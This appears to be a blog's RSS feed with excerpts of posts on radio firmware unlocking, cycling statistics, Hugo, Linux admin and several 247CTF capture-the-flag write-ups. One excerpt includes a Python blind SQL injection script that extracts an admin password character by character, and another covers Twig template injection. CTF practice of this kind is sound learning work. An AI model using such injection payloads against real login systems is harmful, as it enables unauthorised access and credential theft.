<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>creative chaos</title><link>/</link><description>Recent content on creative chaos</description><generator>Hugo -- gohugo.io</generator><language>en-US</language><lastBuildDate>Tue, 30 Jan 2024 11:29:26 +0100</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml"/><item><title>Hacking Retevis B63S aka B3S</title><link>/blog/2024-01-30-hacking-retevis-b63s-aka-b3s/</link><pubDate>Tue, 30 Jan 2024 11:29:26 +0100</pubDate><guid>/blog/2024-01-30-hacking-retevis-b63s-aka-b3s/</guid><description>It is illegal to use higher power that 0.5W on PMR446 frequencies. Use this only if you want to use the radio on other frequencies you are licensed to use (HAM).
Intro Here we go again, Retevis has introduced a new clone radio with the addition of a little LCD. Surely they again created a new mess of a save file, so we needed a different approach than B63H or RT622P.</description></item><item><title>MTB of 2023</title><link>/blog/2023-12-30-mtb-of-2023/</link><pubDate>Sat, 30 Dec 2023 22:26:49 +0100</pubDate><guid>/blog/2023-12-30-mtb-of-2023/</guid><description>Statistics Total distance: 3.338 km Total time: 236 h Total ascend: 65.036 m Activities: 186 Longest ride: Juriš na Ljubljanski grad 71.17 km Most ascend ride: Juriš na Ljubljanski grad 2038 m Longest ride timewise: Juriš na Ljubljanski grad 5:21:08 Highest load (TSS)t: Juriš na Ljubljanski grad 338 Bike components Just for a general feel what you need to replace in so many hours, even if you obsessively pimp your bike:</description></item><item><title>Cover Images in Posts</title><link>/blog/2023-12-11-cover-images-in-posts/</link><pubDate>Wed, 13 Dec 2023 20:34:04 +0100</pubDate><guid>/blog/2023-12-11-cover-images-in-posts/</guid><description>Intro Posts with images look way better, even if the images are fake as it gets and all generated by DALL-E.
Code vim data/site/themes/hugo-b4d/layouts/partials/content.html {{ $coverName := replace .File.LogicalName &amp;#34;.md&amp;#34; &amp;#34;.png&amp;#34; | lower}} {{ $coverPathCheck := print &amp;#34;/covers/&amp;#34; $coverName}} {{ if fileExists $coverPathCheck }} &amp;lt;p&amp;gt; &amp;lt;img src=&amp;#34;/img/covers/{{ $coverName }}&amp;#34; &amp;gt; &amp;lt;/p&amp;gt; {{ end }} We need to create a symlink, because fileExists searches only under content/ folder, but you can load the image only from the static/ folder.</description></item><item><title>Hacking Retevis B63H aka B3H</title><link>/blog/2023-11-10-hacking-retevis-b63h-aka-b3h/</link><pubDate>Fri, 10 Nov 2023 12:06:34 +0100</pubDate><guid>/blog/2023-11-10-hacking-retevis-b63h-aka-b3h/</guid><description>It is illegal to use higher power that 0.5W on PMR446 frequencies. Use this only if you want to use the radio on other frequencies you are licensed to use (HAM).
As the radio (B63H) is sold as a PMR radio in EU, official programming software (CPS - code plug software) makes it impossible to change RX and TX frequencies, power and channel width. Similar thing is over the pond where B3H variant is locked to FRS.</description></item><item><title>Hacking Retevis RT622P aka RT22P</title><link>/blog/2023-11-10-hacking-retevis-rt622p-aka-rt22p/</link><pubDate>Fri, 10 Nov 2023 11:08:44 +0100</pubDate><guid>/blog/2023-11-10-hacking-retevis-rt622p-aka-rt22p/</guid><description>FRS version is the same hardware-wise RT22P.
Out of the box the radio is programmed with PMR446 frequencies and classic Retevis subtone selection. They will work with eachother, but to talk to other radios, you may need to set up the subtones the same on all of the used equipment.
Buttons Volume knob + power Up Short press: Channel up Long press: Monitor Down Short press: Channel down Long press: Scan (Voice prompt for On/Off) Menu button Short press: ?</description></item><item><title>Deleting Files With GNU find</title><link>/blog/2023-10-19-deleting-files-with-find/</link><pubDate>Thu, 19 Oct 2023 09:36:50 +0200</pubDate><guid>/blog/2023-10-19-deleting-files-with-find/</guid><description>Problem I wanted to delete all files older than approximately one month from a mounter GlusterFS volume at /ftp. The server is RHEL8.
There was an old script that worked on the old environment, but it broke here.
Testing This worked, find displayed all the files that I was searching for:
find /ftp \( -daystart -mtime +35 -or -daystart -atime +35 \) -type f -not -name &amp;#39;*.sh&amp;#39; -not -name &amp;#39;*.log&amp;#39; -not -name &amp;#39;*.</description></item><item><title>Upgrading to Debian 12 - Bookworm</title><link>/blog/2023-07-05-upgrading-to-debian-12-bookworm/</link><pubDate>Wed, 05 Jul 2023 14:36:26 +0200</pubDate><guid>/blog/2023-07-05-upgrading-to-debian-12-bookworm/</guid><description>Intro Important stuff first, Bookworm is a toy worm, from Toy Story movies. Keeper of the toy manual library at Sunnyside Daycare.
Howto Read the release notes, yeah long peice of text, but well worth it to avoid problems with transforming your horse to a worm.
Problems on the way apt-key deprecation Basically the problem with the old implementation is that it does not provide repository-specific authentication.
https://manpages.debian.org/testing/apt/apt-key.8.en.html
Running apt update will print out something like this:</description></item><item><title>Encrypted USB Drive (rev)</title><link>/blog/2023-05-17-247ctf-com-rev-encrypted-usb-drive/</link><pubDate>Wed, 17 May 2023 12:41:14 +0200</pubDate><guid>/blog/2023-05-17-247ctf-com-rev-encrypted-usb-drive/</guid><description>You are presented with a zip file containing the following files:
encrypted_usb.dd README.txt recovery_keys_dump.txt README
Urgent Incident Response help needed! We have been contacted by a key client, whose external storage devices have all been encrypted by some new and unknown ransomware variant. Important files which have not been backed up have been encrypted and the client needs access to the files from 1 specific device urgently. The drive uses BitLocker encryption; however, it was mounted at the time of the attack.</description></item><item><title>The Flag API Key (web)</title><link>/blog/2023-05-08-the-flag-api-key/</link><pubDate>Tue, 09 May 2023 15:38:36 +0200</pubDate><guid>/blog/2023-05-08-the-flag-api-key/</guid><description>Intro Nothing specific to say, the code speaks for itself.
Solution import requests import json target_url=&amp;#34;https://bdf9ebf7188f2277.247ctf.com/&amp;#34; login_url = target_url+&amp;#34;api/login&amp;#34; get_token_url = target_url+&amp;#34;api/get_token&amp;#34; get_flag_url = target_url+&amp;#34;api/get_flag&amp;#34; # Get the API token response = requests.get(target_url + &amp;#39;api/get_token&amp;#39;) response_dict = json.loads(response.text) token = response_dict[&amp;#34;message&amp;#34;].split()[-1][:-1] print(token) #key = &amp;#34;03ccdf7206aa67cd5932969152984f9a&amp;#34; key = token def query_range(str_pos, bottom, top): bottom_char = chr(bottom) top_char = chr(top) print(f&amp;#34;trying {bottom_char}, {top_char} at position {str_pos}&amp;#34;) data = { &amp;#39;username&amp;#39;: &amp;#34;admin&amp;#39; and SUBSTR(password,&amp;#34; + str_pos + &amp;#34;,1) BETWEEN &amp;#39;&amp;#34; + bottom_char + &amp;#34;&amp;#39; AND &amp;#39;&amp;#34; + top_char + &amp;#34;&amp;#39;--&amp;#34;, &amp;#39;password&amp;#39;:&amp;#34;&amp;#34;, &amp;#39;api&amp;#39;:key } r = requests.</description></item><item><title>The Twig Injector (web)</title><link>/blog/2023-05-08-the-twig-injector/</link><pubDate>Tue, 09 May 2023 14:08:18 +0200</pubDate><guid>/blog/2023-05-08-the-twig-injector/</guid><description>Hugo takes double curly braces { { (without whitespace in between) as a shortcode. Please delete the whitespace there when you try to use the command.
Intro Can you abuse the Twig injector service to gain access to the flag hidden in the $_SERVER array?
Source The regular expression /[^{\.}a-z\|\_]/ is used in the inject() method to remove any characters from the &amp;ldquo;inject&amp;rdquo; query parameter that are not letters (a-z), dots (.</description></item><item><title>Completely Turing (misc)</title><link>/blog/2023-04-25-completely-turing/</link><pubDate>Tue, 25 Apr 2023 13:55:03 +0200</pubDate><guid>/blog/2023-04-25-completely-turing/</guid><description>Intro Long time coming, another try at the 247CTF.com site. This time a Misc challenge named Completely Turing.
Instructions We encoded the flag in a terse, but Turing complete programming language. Can you identify the valid characters required to extract the flag?
Howto The challenge gives you one file completely_turing:
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;++++++++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt